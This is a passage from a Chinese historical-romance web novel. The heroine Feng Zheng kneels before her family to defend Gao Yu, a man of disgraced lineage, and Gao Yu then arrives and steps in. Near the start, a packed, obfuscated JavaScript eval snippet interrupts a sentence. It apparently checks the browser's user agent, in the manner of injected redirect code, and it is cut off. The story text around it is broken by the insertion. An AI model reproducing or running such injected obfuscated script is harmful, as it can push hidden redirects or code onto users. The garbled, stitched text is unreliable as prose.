冯筝稍一停顿，孟夫人继续道，“你瞒着娘跟符家传信，这事我不怪你，可你刚刚也说，答应好好待字闺中，安分一点才能保安稳。可是阿筝，你真的在安分待嫁吗？” 孟夫人话至一半，看到女儿先是起疑后又懵懂，完全没意识到错误，点醒她，“就说官禄府茶饼的下落吧。你把官禄府茶饼赠给了谁，瞒得了一时，却莫要以为这事就没其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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惊愕捂嘴的蘅娘，频频走神的阿伯，手足无措的双亲，他们将信将疑的脸上布满猜疑，冯筝强作坚韧，鼻尖还是涌上了酸楚。 好难得，不用手帕蹂躏，眼眶也红得彻彻底底。 她快步走到堂屋正前，倏地提裙跪下。 “高豫他自嘲罪臣后裔，劝我莫要跟他挨边，他制止我打破亲疏照拂他，可我只是给他端了碗解酒汤。一文钱不值的解酒汤，偿还银两都不够，他这点恩惠都要计较，一句话就把恩情两清，他小气又大度，桩桩件件，却都在提防会害冯家惹来非议。” 高蘅呜咽出声，云雀忍着哽咽维持体面，暗求姑娘不要再说，然而冯筝不依不饶。 “好残酷，认出高豫的那一天，我本是抱着看热闹的心态来见他，谁知这世道就爱乱开玩笑。我原以为，比药膳更苦的是我的遭遇，想不到比我苦的大有人在。我知道时人对他怀有偏见，人都有趋利避害的本能，别人如何疏远他唐突他，都不要紧，但在意我的亲族，至少不要折辱了他。” “我感恩戴德地说这些话，不求家人如何厚待他，不求家人如何酬谢，只想告诉各位尊亲，高豫论迹论心都是君子，他先是善贤先是恩公，然后才是我阿伯的妻舅。” “娘，高郎君之于我，不是舅哥这样简单的称呼能概括的。如果真的要论亲伦避嫌，那也是在出阁以后。在那之前，我可能还是得关照他的……所以以后，比起对我些微的关照指指点点，口舌纷争之上，还望诸位，饶过阿筝。” 说完，她庄重地叩拜下去，不敢受礼的陪侍退到两旁，唯恐承受家主盛怒，同时也于心不忍，祈祷这段波折就这样过去。 冯筝这一拜叩得很实，额头磕到地面，此起彼伏的惊呼声中，双膝莫名离了地，一只手轻巧地托起她胳膊。 安排都是失策的，预想好的事都变得乱糟糟的。 她扭头看向拉她的人，强硬垒起的意志，在失算的结果前软绵绵倒塌，她对高豫的出现没有惊喜，只觉得自己丢尽了脸。 他没有对长辈邀约视若无睹的轻慢，没有擅闯他人家宴的狂悖，膳堂家宴已散，他是因为不想打搅姊婿家宴，所以才挑这个时候拜访的吗？ 他穿着白襟靛蓝底的长裾，显然出门前耐心打理过一遍。他凭晚辈的身份主动登门，不惜换上新衣以示尊重，会猜到临到人前，却被推入这样一个尴尬的处境吗？ 对于任何酬劳和谢意，只要他想，他就能有千百种说辞推搪，但他还是来了，接的是惠安酥糖，也更是人情。 高豫掌心发烫，握住她胳膊的手没有松开。 观察着这群表面有礼，实则神情复杂的一干人等，他从庭院一路走来，晚风送来她贵重的话，高豫已经了然一切。 吴嬷扑到他腿边，大声跪谢善人大恩，感激涕零的腔调中，众人陆续起身注目。 高豫备受瞩目，一手扶起仆妇，一手将冯筝拂到身后，终于面朝首座，说出了自己进门以来的第一句话。 “很意外。” “我是听贵府说过会备礼答谢，未曾想，备的是个这么大的礼。”